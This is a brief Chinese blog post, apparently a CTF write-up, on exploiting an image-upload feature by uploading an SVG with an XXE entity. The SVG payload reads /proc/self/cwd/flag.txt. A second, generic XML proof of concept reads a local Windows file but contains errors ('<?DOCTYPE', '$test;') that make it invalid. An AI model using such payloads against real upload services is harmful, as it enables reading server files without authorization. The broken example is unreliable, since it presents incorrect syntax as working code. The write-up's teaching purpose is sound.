SVG是一种用XML定义的语言,SVG图形是可交互的和动态的,可以在SVG文件中嵌入动画元素或通过脚本来定义动画。
也就是说这里的SVG是个XML,并且存在可控的内容,那么自然就会想到XXE。
本地新建一个a.svg,内容为:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>
和一般的的xml poc对比一下:
一个简单的xml实例:(没有声明部分,即没有<?xml version=1.0 ?>,只有dtd部分和xml部分) //dtd部分 <?DOCTYPE scan[ <!ENTITY test SYSTEM "file:///c:/1.txt"> //创建实体entity,把读出来的东西赋值给实体 ] > //xml部分 <scan>$test;</scan> //调用这个实体,可以理解为变量 这段xml代码中,scan可以变,但实体名不能变
把这个a.svg文件上传之后,后端php应该有调用这个svg文件的函数,执行了内容,并把结果返回到了svg定义的图片里
原创文章,作者:Carrie001128,如若转载,请注明出处:https://blog.ytso.com/275750.html